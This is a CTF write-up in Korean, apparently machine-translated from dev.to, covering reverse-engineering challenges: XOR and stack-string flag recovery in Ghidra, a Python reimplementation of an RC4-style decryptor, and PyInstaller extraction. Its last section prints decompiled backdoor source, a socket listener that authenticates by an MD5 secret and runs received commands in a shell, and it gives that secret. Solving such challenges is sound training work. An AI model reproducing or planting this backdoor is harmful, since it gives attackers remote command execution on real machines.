Synack Red Team Five CTF 작성 - Rev
Hilb3r7/synack-red-team-five-ctf에서 챌린지 설명과 다운로드 가능한 파일을 얻을 수 있습니다.
반전
사용 도구: 기드라
입장
이를 디컴파일하고 "액세스 허가됨! 플래그 형식으로 핀 제출"을 찾습니다.
main
함수에서.핀은
(&DAT_00102014)[i] ^ 0x20
함수에서 각 문자를 checkpin
와 비교합니다.DAT_00102014
는 \x4c\x13\x54\x7f\x4d\x45\x7f\x11\x4e\x7f\x4c\x13\x54\x7f\x4d\x45\x45\x45\x45\x7f\x49\x4e\x01\x01\x00
입니다.각 문자를 0x20과 XOR하면
l3t_me_1n_l3t_meeee_in!!
가 됩니다.플래그 형식으로 만들고
HTB{l3t_me_1n_l3t_meeee_in!!}
가 플래그입니다.확인하다
그것을 디컴파일하고
main
함수에서 많은 지역 변수 할당을 찾으십시오.스택 문자열 기법이라고 합니다.
local_58
변수를 선택하고 마우스 오른쪽 버튼을 클릭한 다음 Retype variable
를 선택하고 char[32]
를 입력합니다.이제 비밀을 볼 수 있습니다.
ch3ck_anD_r3checK_aga1n!
.printf 형식
Welcome Agent, heres\'s a small gift: HTB{%s}\n
에 따르면,플래그는
HTB{ch3ck_anD_r3checK_aga1n!}
입니다.나뉘다
디컴파일하고 일부 정보를 수정합니다.
다음 함수를 읽고 Python으로 해당 기능을 구현합니다.
buffer = []
out_buf = ""
for i in range(256):
buffer.append(i)
local_18 = 0
ctx = "v!7Xf-;.2=1/"
out = [
0x9f,
0x69,
0x43,
0x1b,
0x90,
0x12,
0x96,
0x7a,
0x23,
0x76,
0x8f,
0x2e,
0x9e,
0x9f,
0xeb,
0x23,
0x40,
0xed,
0xbd,
0x7a,
0x4b,
0x99,
0xf6,
0xa0,
0x0c,
0x00,
]
ctx_len = len(ctx)
for i in range(256):
iVar1 = ord(ctx[i % ctx_len]) + buffer[i] + local_18
uVar2 = (iVar1 >> 0x1f) >> 0x18
local_18 =(iVar1 + uVar2 & 0xff) - uVar2
tmp = buffer[i]
buffer[i] = buffer[local_18]
buffer[local_18] = tmp
print(buffer)
out_len = len(out)
local_24 = 0
local_20 = 0
for i in range(out_len):
local_24 = (local_24 + 1) & 0xff
local_20 = (local_20 + buffer[local_24]) & 0xff
tmp = buffer[local_20]
buffer[local_20] = buffer[local_24]
buffer[local_24] = tmp
out_buf += (chr(out[i] ^ buffer[(buffer[local_20] + buffer[local_24]) & 0xff]))
print(out_buf)
실행하고
HTB{d0_th1s_oR_do_th47!?}
플래그를 가져옵니다.똑 똑
파이인스톨러 바이너리입니다.
https://github.com/extremecoders-re/pyinstxtractor을 사용하여 바이너리에서 소스 코드 아카이브를 추출합니다.
(그냥
python pyinstxtractor.py ./backdoor
을 실행하거나),이제 많은 .pyc 파일이 추출됩니다.
Find
src.pyc
는 Python3.9로 형식이 잘못되어 있으므로https://github.com/rocky/python-uncompyle6/는 디컴파일을 거부합니다.그런데 챌린지 정보에는 Python3.8이라고 나와 있어서 helloworld python 스크립트를 작성하고 Python3.8로 실행합니다.
Python3.8 .pyc 파일을 생성합니다. 그것을 분석하고 서명이\x55임을 찾으십시오.
src.pyc
의 서명을\x61에서\x55로 변경하고 uncompyle6 backdoor-src.38.pyc > backdoor-src.py
를 실행하여 디컴파일합니다.backdoor-src.py는 다음과 같습니다.
import socket
from hashlib import md5
from subprocess import check_output
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 4433))
sock.listen(5)
while True:
client, addr = sock.accept()
data = client.recv(32)
if len(data) != 32:
client.close()
else:
if data.decode() != md5(b't0p_s3kr3t').hexdigest():
client.send(b'Invalid')
size = client.recv(1)
command = client.recv(int.from_bytes(size, 'little'))
if not command.startswith(b'command:'):
client.close()
else:
command = command.replace(b'command:', b'')
output = check_output(command, shell=True)
client.send(output)
client.close()
그냥 읽고 비밀을 찾으면 't0p_s3kr3t', '8f4328c40b1aa9409012c7406129f04b'의 md5sum입니다.
전송 후 'command:' 다음의 모든 명령이 실행됩니다.
(스크린샷을 저장하려고 노력했지만 저장하지 않았습니다...
그래서 기본적으로 내가 실행한 플래그와 명령을 잃어버렸습니다...)
Reference
이 문제에 관하여(Synack Red Team Five CTF 작성 - Rev), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/ny_a/synack-red-team-five-ctf-writeup-rev-pgf텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)